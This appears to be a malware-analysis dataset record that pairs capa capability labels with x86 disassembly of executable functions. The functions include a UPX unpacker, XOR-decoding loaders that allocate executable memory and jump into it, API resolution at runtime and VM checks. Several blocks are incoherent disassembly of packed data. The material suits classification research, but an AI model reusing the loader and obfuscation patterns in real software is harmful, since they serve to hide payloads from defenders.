joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55f920
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x124000]
push edi
jmp 0x55f93a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x55f941
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55f930
mov eax, 1
add ebx, ebx
jne 0x55f953
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x55f964
jne 0x55f983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55f983
dec eax
add ebx, ebx
jne 0x55f970
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x55f948
add ebx, ebx
jne 0x55f97f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x55f9d5
xor ecx, ecx
sub eax, 3
jb 0x55f99b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x55fa0a
sar eax, 1
mov ebp, eax
jmp 0x55f9a6
add ebx, ebx
jne 0x55f9a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55f974
inc ecx
add ebx, ebx
jne 0x55f9b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55f974
add ebx, ebx
jne 0x55f9c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x55f9b6
jne 0x55f9d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x55f9b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x55f9f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x55f9e6
jmp 0x55f936
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x55f9f4
add edi, ecx
jmp 0x55f936
pop esi
mov edi, esi
mov ecx, 0x11fb
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x55fa12
cmp byte [edi], 0xb
jne 0x55fa12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x55fa17
lea edi, [esi + 0x15c000]
mov eax, dword [edi]
or eax, eax
je 0x55fa8f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1852f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x185424]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x55fa44
mov ecx, edi
jns 0x55fa73
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x185428]
or eax, eax
je 0x55fa89
mov dword [ebx], eax
add ebx, 4
jmp 0x55fa61
call dword [esi + 0x185438]
mov ebp, dword [esi + 0x18542c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x55fac3
sub esp, 0xffffff80
jmp 0x4127aa
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40633c
pop dword [ebp - 0x18]
mov eax, 0xb6d32ccf
add eax, 0x496d366d
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x3216278f
add dword [ebp - 0x28], 0x1c3c1dbc
mov dword [ebp - 0x24], 0x99a43df6
sub dword [ebp - 0x24], 0x6770f1b1
mov dword [ebp - 0x20], 0xa3879982
sub dword [ebp - 0x20], 0x573b5554
mov dword [ebp - 0x1c], 0x4c11622a
add dword [ebp - 0x1c], 0xb3ee9dd6
lea eax, [ebp - 0x28]
push eax
mov eax, 0xe598e018
sub eax, 0xe5586fb8
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x8e3e8afb
add dword [ebp - 0x28], 0xe633de5b
mov dword [ebp - 0x24], 0xf99e5a4
sub dword [ebp - 0x24], 0xce2d842f
mov dword [ebp - 0x20], 0x6d844181
add dword [ebp - 0x20], 0xf5eb2aeb
mov dword [ebp - 0x1c], 0x8b9964b2
sub dword [ebp - 0x1c], 0x8b9964b2
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xf8123690
sub eax, 0xf7d1c590
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x35261
push 0
call eax
mov ecx, 0xfbf2062d
sub ecx, 0xfbf1c40e
xor ebx, ebx
add ebx, eax
mov esi, 0x9ec75ec6
sub esi, 0x9e865ec6
add esi, dword [ebp - 0x18]
mov edx, 0xf57c2950
sub edx, 0x5ab8ea95
mov dword [ebp - 0xc], 0xed1fc46b
mov edi, dword [esi]
xor dword [ebp - 0x10], 0xfa40c351
xor edi, edx
mov dword [ebp - 0x10], 0x99dccb77
mov dword [ebx], edi
mov dword [ebp - 0xc], 0x5283ed1
add ebx, 4
add esi, 0xbe7a89a5
add esi, 0x4185765f
loop 0x406460
add eax, 0xffa7fa8a
add eax, 0x5900c5
xor ebx, ebx
add ebx, eax
add eax, 0x209710c6
add eax, 0xdf68ef3f
mov ecx, 0x4d52c667
add ecx, 0xb2ed3999
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x40a3dd
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov edi, eax
lea ecx, [ebp - 4]
push ecx
lea eax, [edi + 0x310]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x4030d0
push dword [ebp + 8]
mov dword [ebp - 4], 0x103
call esi
test eax, eax
je 0x40a42a
push 0x104
lea eax, [edi + 0x310]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
add edi, 0x414
push edi
lea eax, [ebp - 8]
push eax
push 0
push 0x4030e0
push dword [ebp + 8]
mov dword [ebp - 4], 0x103
call esi
test eax, eax
je 0x40a460
push 0x104
push 0
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
xor eax, eax
pop edi
inc eax
pop esi
leave
ret
Function at 0x40c170
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x40c1af
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x40c1a5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x40c1b1
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40c195
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4163ee
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x423458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407f85
mov dword [ebp - 0x14], eax
cmp dword [0x43d9dc], esi
jne 0x4164e1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41646e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4165c1
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4165c1
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4165c1
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43d9dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43d9e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43d9e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43d9ec], eax
test eax, eax
je 0x4164de
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43d9e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x416506
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4164f9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41651b
push 4
pop eax
jmp 0x4165c3
cmp dword [ebp - 0x14], esi
je 0x41651b
push dword [0x43d9dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x416500
mov eax, dword [0x43d9e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x416579
cmp dword [0x43d9ec], edi
je 0x416579
push eax
call ebx
push dword [0x43d9ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x416579
test eax, eax
je 0x416579
call ecx
test eax, eax
je 0x41656e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41656e
test byte [ebp - 8], 1
jne 0x416579
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4165a9
mov eax, dword [0x43d9e0]
cmp eax, edi
je 0x4165a6
push eax
call ebx
test eax, eax
je 0x4165a6
call eax
mov esi, eax
test esi, esi
je 0x4165a6
mov eax, dword [0x43d9e4]
cmp eax, edi
je 0x4165a6
push eax
call ebx
test eax, eax
je 0x4165a6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43d9dc]
call ebx
test eax, eax
je 0x4165c1
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4165c3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f2e
mov esp, ebp
pop ebp
ret
Function at 0x40105b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x821004]
jne 0x401065
repz ret
jmp fcn.00401708

Function at 0x406f5a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x821004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404664
and dword [ebp - 0x14], 0
cmp dword [0x82394c], 0
mov dword [ebp - 0x18], eax
jne 0x40700d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4070b5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4070b5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x82394c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x823950], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x823954], eax
call edi
push eax
call esi
mov dword [0x82395c], eax
test eax, eax
je 0x40700d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x823958], eax
mov eax, dword [0x823958]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407066
cmp dword [0x82395c], ecx
je 0x407066
push eax
call esi
push dword [0x82395c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407066
test ebx, ebx
je 0x407066
call edi
test eax, eax
je 0x40705d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40705d
test byte [ebp - 8], 1
jne 0x407066
or dword [ebp + 0x10], 0x200000
jmp 0x407099
mov eax, dword [0x823950]
cmp eax, dword [ebp - 0x18]
je 0x407099
push eax
call esi
test eax, eax
je 0x407099
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407099
mov eax, dword [0x823954]
cmp eax, dword [ebp - 0x18]
je 0x407099
push eax
call esi
test eax, eax
je 0x407099
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x82394c]
call esi
test eax, eax
je 0x4070b5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4070b7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040105b
leave
ret
Function at 0x409cc0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
test eax, eax
jle 0x409d6f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push edi
mov edi, dword [esp + 0x18]
cmp eax, 0x2d
jne 0x409d01
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [esp + 0x18]
mov ecx, dword [0x2f47b48]
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov dword [0x2f47b48], ecx
mov dl, byte [0x2f47b4a]
mov ecx, dword [esp + 0x14]
xor byte [esi + ecx], dl
cmp eax, 0xf
jne 0x409d63
push 0
push 0
push 0
call ebx
push str.jucoyasiletarapifefixud
call ebp
push str.rotumigapuliji
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push edi
push str.tejuwitemufo
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x409ce2
pop edi
pop ebp
pop ebx
pop esi
cmp eax, 0x2d
jne 0x409d89
mov dword [0x2f47e30], 0xa62e7790
mov dword [0x2f47e34], 0xffffffff
ret

Function at 0x409d90
Capabilities:
Set console window title

Disassembly:
sub esp, 0xc0c
mov eax, dword [0x821004]
xor eax, esp
mov dword [esp + 0xc08], eax
mov eax, dword [0x2f47e24]
push ebx
mov ebx, dword [0x2f47b4c]
push edi
mov edi, eax
cmp eax, 0x5dd
jne 0x409ddc
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
mov eax, dword [0x2f47e24]
push esi
mov esi, dword [0x821ed0]
cmp eax, 0x930
jne 0x409df7
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2f47e24]
mov dword [0x2f47b48], esi
pop esi
cmp eax, 0x114e
jne 0x409e20
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2f47e24]
cmp eax, 0x2f
jne 0x409e52
push 0
lea eax, [esp + 0x414]
push eax
push 0
push str.Giy_zusud_huhapilovaf_sarusamuyul
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
lea ecx, [esp + 0x14]
push ecx
push str.Sugivoyayuj_yiwicohawufufa_xalumapacib_musihobifuv_juj
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push edi
push ebx
call fcn.00409cc0
mov ecx, dword [esp + 0xc18]
add esp, 8
pop edi
pop ebx
xor ecx, esp
call fcn.0040105b
add esp, 0xc0c
ret
Function at 0x10014c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10014c1f
pop dword [ebp - 0xc]
mov eax, 0x79ae98d
sub eax, 0xf7999d6e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x4ee71f5d
add dword [ebp - 0x1c], 0xff6b25ee
mov dword [ebp - 0x18], 0xf7fe1d35
add dword [ebp - 0x18], 0x3a352f10
mov dword [ebp - 0x14], 0x87cddf6b
sub dword [ebp - 0x14], 0x3b819b3d
mov dword [ebp - 0x10], 0x78cf2234
add dword [ebp - 0x10], 0x8730ddcc
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x7e904bc8
sub eax, 0x6e8bdb00
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x827acebc
sub dword [ebp - 0x1c], 0xe086566
mov dword [ebp - 0x18], 0xadc86962
add dword [ebp - 0x18], 0x93a3f813
mov dword [ebp - 0x14], 0x7205a806
add dword [ebp - 0x14], 0xf169c466
mov dword [ebp - 0x10], 0xa2924fc3
add dword [ebp - 0x10], 0x5d6db03d
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3f953
push 0
call eax
mov ecx, 0x3cce
xor ebx, ebx
add ebx, eax
mov edx, 0xe42fdd5b
sub edx, 0xd429ad5b
add edx, dword [ebp - 0xc]
mov edi, 0xb7e7f63c
sub edi, 0xc9e8b11
mov dword [ebp - 4], 0x9a9d0bdc
mov esi, dword [edx]
add dword [ebp - 4], 0x7419dbdc
xor esi, edi
sub dword [ebp - 4], esi
mov dword [ebx], esi
sub dword [ebp - 4], 0x82a5145f
add ebx, 0xd770f5c1
sub ebx, 0xd770f5bd
add edx, 4
loop 0x10014d38
add eax, 0x3c9f45f8
add eax, 0xc361a013
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x69416a69
add ecx, 0xa6be9597
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4093e7
Capabilities:
Encode data using xor

Disassembly:
or dword [ecx - 0x7d19d044], eax
add cl, byte [ebx - 0x67e0669c]
out 0x82, eax
push ds
ljmp 0x2ff4
ja 0x409325
invalid
add dword [ebp + 0x59], edi
in al, dx
dec ecx
push esp
std
jl 0x40937b
or byte [eax + 0x194e96b4], bl
or eax, 0x603fb108
sub byte [eax + edx], bl
int3

Function at 0x421867
Capabilities:
Check for vm using instruction vpcext

Disassembly:
inc esp
mov edx, 0xd0142fc5
pop es
mov edi, 0xae9f589f
and byte [esp + eax*4 + 0x6279667a], cl
dec ebp
jbe 0x4218f5
xor al, 0x3c
insb byte es:[edi], dx
stosb byte es:[edi], al
sbb dh, byte [esi]
neg ebx
xchg edx, eax
mov ah, 1
ret 0x87ea
ret

Function at 0x4218a7
Capabilities:
Check for vm using instruction vpcext

Disassembly:
in al, dx
fst dword [ebp - 0x66]
and ch, byte [edx + 0x214b7eb4]
cvtpi2ps xmm3, qword [edi - 0x42]
add bl, byte [eax + ebp*2]
add ebx, esi
enter 0x60e9, 0xfffffffffffffff7
sub byte [edx - 0x34], ah
shr byte [ebp + 0x57], cl
daa
pop eax
mov edx, 0x269c1afc
lodsd eax, dword [esi]
xchg byte [eax - 0x7d], bl
push edx
mov eax, dword [ebp + edi*4 - 0x2fa93080]
push edi
scasd eax, dword es:[edi]
adc al, 0x46
inc edx
push es
add dword [eax], 0xc4808a88
shr byte [esi - 0x54dd96f3], 0x8f
inc esp
add al, 0xb4
inc esp
test al, 0xfe
cwde
xchg esp, eax
cmp edi, esi
mov dword [0xff0c2ac3], eax
inc esp
out dx, eax
mov ah, 0x81
cmp dword [ecx - 0x74], ebx
push 0x73
xchg dword [ebx], esi
inc ebx
add eax, 0x8e831814
add dword [edx], esp
sub bh, byte [eax + 0x75e7ba57]
invalid

Function at 0x437c97
Capabilities:
Encode data using xor

Disassembly:
push 0x205c6a7c
lahf
int 0xc4
xor al, 0xe9
pop es
pop ecx
push es
ljmp 0xfeb3
xor eax, dword [ecx]
xor byte [eax + eax], 0x60
mov ah, 0x4b
mov byte [0x319abe1b], al
stc
jae 0x437cfd
mov edx, eax
pushfd
invalid
aad 0x97
push ebx
add ebx, dword [ebx]
xor al, 0x6d
test byte [ebx], ah
and dword [ebp + 0x11], eax
jge 0x437c8e
xor esi, ecx
cmp eax, 0xed263812
mov dl, 0xff
lodsd eax, dword [esi]
mov eax, dword [0x4d093fa]
xlatb
lds esi, [edx + 0x2414528d]
jnp 0x437cda
xor al, byte [edx]
add al, 0x34
aas
loope 0x437c51
xor ch, cl
hlt
sbb bh, byte [ebp - 0x65]
pop es
sbb ch, dl
cld
push 0x3899dd0e
loop 0x437c71
mov byte [0x65bdb8e8], al
or al, 0x3d
or eax, 0xd5d26aef
inc edx
inc edi
cmp byte [eax + 0x64], ah
pop ss
dec eax
inc edx
arpl word [ecx - 0x6e], si
idiv byte [edx + 0x41e3bcf0]
add bh, ch
sahf
stosd dword es:[edi], eax
push edi
in eax, dx
mov eax, dword es:[0xbe79ad8c]
inc edi
sbb eax, esi
arpl word [ecx + 0x5d0d2b12], sp
inc edx
scasd eax, dword es:[edi]
cmc
cdq
invalid
mov dl, 0x9a
mov ch, 0xb

Function at 0x43ac77
Capabilities:
Encode data using xor

Disassembly:
push ss
push eax
pushfd
mov eax, dword [0x14fc0c14]
sti
lea ebx, [ebp*4 + 0x2dd48d3d]
dec esp
add esp, ebp
xchg ebx, eax
mov cl, 0x4a
xor byte [edx], cl
mov al, byte [0x1fcd1d9f]
wait
adc eax, 0x1b28ffbd
cmp dh, byte [ecx + ecx*4]
mov esp, 0x301c01c4
scasd eax, dword es:[edi]
push es
sbb al, 0x48
jg 0x43ac8a
wait
sub eax, 0x6ebf4304
xor eax, esp
and eax, dword [ecx]
sbb eax, 0x1d7d366c
in eax, dx
invalid
Function at 0x44ecf7
Capabilities:
Encode data using xor

Disassembly:
ficomp word [0x7d9478c7]
sahf
jl 0x44ed54
sti
pop esp
mov dh, 0x6b
movsd dword es:[edi], dword [esi]
jae 0x44ed45
popfd
test dword [ebx - 0x77], eax
dec edx
sub al, 0xd
pushal
mov byte [esi - 0x6e119ba4], cl
push esi
mov edi, 0x1f4d3fba
cld
pop edx
adc eax, 0x7bf66b2e
cmp eax, 0x7779f0dd
xor dh, 0x3d
mov dword [0xa3432398], eax
stosb byte es:[edi], al
sub byte [esi - 0x50456142], al
scasd eax, dword es:[edi]
add bh, byte [esi + 0x7670bbf8]
insd dword es:[edi], dx
mov dh, 0x6d
push esi
insd dword es:[edi], dx
mov esi, 0x3eccdb78
jnp 0x44ed32
int3
mov esi, 0x2c8efa40
push cs
retf 0x256e

Function at 0x45342d
Capabilities:
Encode data using xor

Disassembly:
sbb eax, 0x61c6bc7d
dec edx
rcr byte [ebp - 0x1d], 1
popal
leave
salc
movsb byte es:[edi], byte [esi]
cmpsd dword [esi], dword es:[edi]
pop esi
sub cl, byte [ecx - 0x49]
or esp, dword [eax]
int1
dec ecx
mov bh, 0xb
and cl, dh
inc esp
in eax, dx
jo 0x4533f8
cmp ah, ah
pushfd
sti
test dword [ecx + 0x42], eax
in eax, dx
movsd dword es:[edi], dword [esi]
xchg bl, ch
pop ds
xchg dword [esi + ecx*2 + 0x40], esi
mul dword [edi]
jae 0x453455
dec ecx
cwde
imul esp, dword [ebx - 0x2a], 0x49ee03c6
retf 0x6f78
mov es, esi
sahf
mov dl, ah
rcr dh, 1
mov ebp, 0x27af1411
outsb dx, byte [esi]
and al, 0xce
shr byte [eax + 0x7b55fd21], cl
mov ecx, 0x71a60995
test byte [ebx], 0x11
je 0x453434
jle 0x4534b7
push 0x42
mov bl, 0xa6
inc ecx
pop edx
jbe 0x45347e
sub ch, ah
cmp dl, dh
in eax, 0x3a
salc
xchg esi, eax
push es
in eax, dx
push cs
jle 0x4533e8
dec eax
imul ebx, dword [0xff7bb7c4], 0x1e3092dc
sbb dl, byte [ebp + 0x56]
push esi
lodsd eax, dword [esi]
loopne 0x453486
inc edx
dec esi
fldenv [edi - 0x3a83d8e4]
mov al, 0x83
xchg ebp, eax
xor ah, byte [0x65a9866e]
add edx, 0xa6f39098
xchg byte [ecx - 0x673d7e9b], ch
nop
repe cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
xlatb
jl 0x45346c
invalid
adc dword [esi], esi
push ebp
fcomp qword [ecx]
inc eax
dec ecx
sub dl, byte [esi - 0x16]
invalid

Function at 0x46fc25
Capabilities:
Encode data using xor

Disassembly:
out dx, al
xor al, dl
pop ebx
mov word [esi + eax + 0xc], es
sti
xor al, 0x85
push ebx
loopne 0x46fc27
ret 0x8c5b
xor eax, 0xc833af75
pushal
inc ecx
xchg ecx, eax
sbb ah, byte [edx + 0x28bef62]
aam 0x99
popal
in al, 0xcf
fisttp dword [edx + 0x63d76101]
iretd